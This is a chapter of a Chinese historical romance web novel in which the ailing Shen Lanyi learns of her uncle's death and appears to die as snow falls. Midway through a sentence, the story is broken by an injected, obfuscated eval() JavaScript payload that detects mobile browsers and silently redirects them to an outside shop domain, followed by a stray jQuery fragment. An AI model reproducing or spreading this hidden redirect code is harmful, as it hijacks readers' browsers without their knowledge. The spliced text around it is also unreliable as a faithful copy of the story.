院里的腊梅开了。
鹅黄的一朵朵缀在枝桠上,借着清晨的微风飘来缕缕暗香。
沈澜宜临窗而立,素手微抬,小心折下伸展过来的一抹黄,凑在鼻尖轻嗅。
整日浸在药罐子里,若不是今日闻到这扑鼻的清香,她险些以为自己的鼻子失灵了。
前些日子,沈澜宜病得难以起身。今晨醒来,她两颊泛起奇异的红润,身子也有了力气,便不顾丫鬟芝兰的劝阻,执意要支开窗子赏梅。
虽得偿所愿,沈澜宜却没提起几分兴致。
以往在燕京,赏梅都是在雪景下。一到那时节,叔父会特意带她去西山上的善积寺,那里的梅花开得最好,雪景也最美。
宁州极少落雪,眼下这景,终究是差了些意思。
沈澜宜垂首转动着手里的花枝,远山般的眉毛拢起来,露出疑惑的神情。她是从何时开始病的呢?也许是在目睹姐姐难产离世后,也许是在自己小产后……
总之,她已经病了许久的日子。这一次次的变故险些要了她的性命,可事情过去后,她还是想要活着。
但不是活在这里。
这里是宁州城东街韩家,是沈澜宜丈夫韩延的宅院,不是她的家。
从前,她也试着把这儿当成自己的家。自从嫁过来,她学着姐姐的样子,做一个温柔贤淑的妻子,一个出色能干的女主人。可换来的却是婆婆的搓磨、小姑的刁难、下人的轻视以及丈夫的冷待……
也许她从一开始就错了。
五年前,善积寺内惊鸿一瞥,沈澜宜心里住下了一个叫韩延的举子。后来的每一次相遇,她那一双眼睛就只能容得下那单薄清瘦的身影。
那时的她认为,韩延清隽稳重,令她不自觉地想要靠近,甚至会不小心越界。直到……直到受人蛊惑,酿下大错。
少女的心思太浅,压根儿就瞒不住。
雨幕倾斜的夜里,沈澜宜跪在叔父的膝前,烛火被风吹得明灭,使她瞧不清叔父的模样,只能瞄见他手中慢慢捻动着的檀木珠。
紫檀的珠子轻轻碰撞滑落,发出悦耳的声响,却让下跪的沈澜宜更加忐忑,胆战心惊。
半晌,澜宜听见发顶传来了一声叹息,“莺莺,叔父答应你父亲替他看顾你,是不是错了。”
叔父的嗓音一如既往的温柔沉着,可澜宜却从中察觉出一丝迷茫。无论在任何时候都运筹帷幄、游刃有余的叔父,也会觉得迷茫吗?
而后,她又听见他说:“罢了,你还小,不是你的错。”
后来,叔父替她摆平了一切,她也如愿嫁给了韩延。
想到这儿,沈澜宜吸了吸鼻头,压下胸口翻涌的情绪。那是她同叔父见的最后一面,现今一晃已经五年多了。
出阁前做的糊涂事,如今一一得到了报应。她因韩延忤逆了叔父,却没受到他的责备,到底于心难安。
所以,沈澜宜给叔父去信,愿同韩延和离,回京长伴青灯古佛。
只是,信已经寄出许久了,却一直没能收到回信,沈澜宜难免郁郁寡欢。
她听到芝兰说:“夫人,宁州地界偏南,信件耽搁在路上也未可知,您不必如此忧心。”沈澜宜心想也是,随后歪在榻上看书,却执意不让芝兰关上那扇窗子。因为太闷了,这几年来一直太闷了。
白净的手指翻动书页,沈澜宜却没看进去几页,盯着一旁吐着幽幽兰香的鎏金香炉出神。
叔父收到信后会怎么想呢,会不会觉得她任性,会不会觉得她胡闹……
帘外丫鬟齐声道了句“大爷”,硬生生扯回澜宜的思绪,韩延来了。澜宜垂下眸子看书,芝兰瞧出她回避的意思,忙走到屏风外。
“我们夫人病了,恐给您过了病气,大爷有事不如等夫人养好病再商议?”
闻言,韩延将眼珠慢慢转过去,似乎带着瘆人的寒气,盯得芝兰心里发怵。大爷性子本就有些孤僻,常年不见个笑影,可习惯后倒也能依稀分辨出他的情绪。今日这样子,倒像是憋着怒意。
韩延迈着步子往内室走,抬手挡过芝兰的阻拦,大步越过那扇山水玉屏,但在看到倚在榻上的沈澜宜时,神情微怔。
她病了多日,未曾束发,如瀑般乌黑的长发失了珠玉的妆点,丝丝缕缕垂在胸前,更显得温婉柔弱。面色潮红,唇瓣颜色很淡,看起来很是憔悴,原本明亮的眼睛微微低垂,落在手中的书卷上,连一个眼神都没有施舍过来。
沈澜宜自是不愿见他的,她既决心要和离,自然是对韩延心灰意冷,何况韩延已将心上人收为外室,看来对她也没什么情分。既然如此,何必再互相折磨。
“你还想瞒到什么时候。和离?和离难道是你自己一人的事吗?”韩延皱眉,那双清冷的眸子罕见地浮现一丝怒气,却依然很克制,不仔细看很难察觉。
他是不想同沈澜宜争吵的,毕竟她刚小产不久,身子弱,又病了这么久。可沈澜宜一眼都不瞧他,难免激起些压抑的怒火。
“何况沈家、韩家早已是一条绳上的蚂蚱,朝堂上的人都成了精,你回了沈家反倒不会安全……”他继续说下去,竟开始分析起朝堂上的利弊,可澜宜却没精力听下去,左耳进右耳出。
沈澜宜更多的是惊讶,自从她不再围着韩延四处打转儿,二人便再也没有多说过几句话,今日韩延很是反常。
她闭了闭眼,忽然觉得自己没必要细想这些。
耳边韩延的嗓音渐渐变得朦胧,澜宜有些累,不想再听下去。可下一瞬,下巴被人掐着抬起,紧接着,沈澜宜听见韩延恨恨道:“沈澜宜,凭何你我之间的事都是你做主!”
“从前你仗着沈侯权势,可如今沈侯死了,你能依赖的,只有我。”
沈侯死了……
“你说什么?”沈澜宜猛然睁开眼,嗓音发涩,整个身子无意识地绷紧,“你说沈侯死了?”
韩延顿时松了手中的力道,他察觉出眼前人浑身都在发抖,他霎时无措起来,她竟然不知道么?
他以为她要和离,是因为得知沈侯身故,以免连累韩家,所以才执意要和离回京,原来她是真的想要与他和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631487|206369||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
离。
沈澜宜看着眼前韩延的嘴巴张合,可却渐渐的什么都听不见,她急得浑身颤抖,死死拽住韩延的襕袍,眼睛也被泪水糊住。
沈侯死了,叔父死了。
他位高权重,深得皇帝宠信,是皇帝亲封的正二品封疆大吏,怎么可能会死呢?
“他支持恭王,得罪了靖王,许是被靖王派去的人所害,也许是北边那群虎视眈眈的人……”沈澜宜费力从他口中拼凑出这些消息,全身已经僵得不成样子。
怪不得她迟迟没能收到回信,是因为他出事了,对么?她还没来得及回去再见他一面,便出事了,是么?
这灭顶的消息劈头盖脸砸下来,压得沈澜宜喘不过气,甚至几欲昏厥。等她再次清醒,就见韩延正在一根一根掰开自己紧紧攥住的掌心,掌心已是血肉模糊。
澜宜觉得荒唐,胸口像是被人狠狠剜下一块血肉,又疼又空。
这种感觉,在亲眼见到姐姐难产去世时曾有过,却更甚于那次。
她是沈家大房中生母不明的庶女,有幸得母亲呵护长大。可大房势弱,父母又不和,父亲在外任职,母亲体弱多病常年卧床,在钟鸣鼎食的沈家,她的日子过得并不好。
所以被人欺负时,澜宜只会忍,打碎牙往肚子里咽,这样才不会让母亲因为自己费心劳神。可叔父会在她受欺负时耐心询问她的委屈,疾言厉色地替她出头,会在她到了说亲的年纪,悉心替她挑选合适的人选,会在她犯错时无奈地兜底,无论这个错有多么严重,他连训斥自己都不会做。
正是因为有他的悉心教导,澜宜才养成这副开朗活泼的模样,可是韩延却告诉她,叔父死了,世上再也没有人会这样包容她了。
澜宜觉得自己错了,错得离谱。
她曾因韩延忤逆叔父,只因自己心头那几分说不清道不明的悸动。
自从澜宜嫁到韩家后,她和叔父之间便再也没有联系,他说不定是怪她的,果然是怪她的罢。
沈澜宜欲哭无泪,喉间溢出断断续续的声音,身前韩延的神色少有的慌乱,甚至将自己紧紧圈进怀里,许是因为她的脸色很难看罢。
她听见韩延哑着嗓音说:“别害怕,你还有我。”
回应他的是一个惨淡的笑,可是她没有叔父了。
芝兰跪坐在一旁垂泪,她看着澜宜仿佛在一刹那间生机尽褪,再联想到今晨异色,忽然意识到什么,便再也收不住泪水。
她的小姐实在是太苦了。
窗外不知为何起了狂风,呼啸着将那腊梅吹得左右摇摆,落在沈澜宜眼里,化成淡淡的虚影。
似有冰凉的雪花打着旋儿飞过棱窗,落在澜宜的脸上,星星点点,不知是幻觉还是什么,她抬眼瞧过去。
下雪了。
“我好想回家……”
好想再见叔父一面……
澜宜伸出手,颤颤巍巍去接那虚妄的雪花,想要最后再贪恋一次这冰凉的触感,然而转瞬即逝。
再也回不去了。
“花落了……”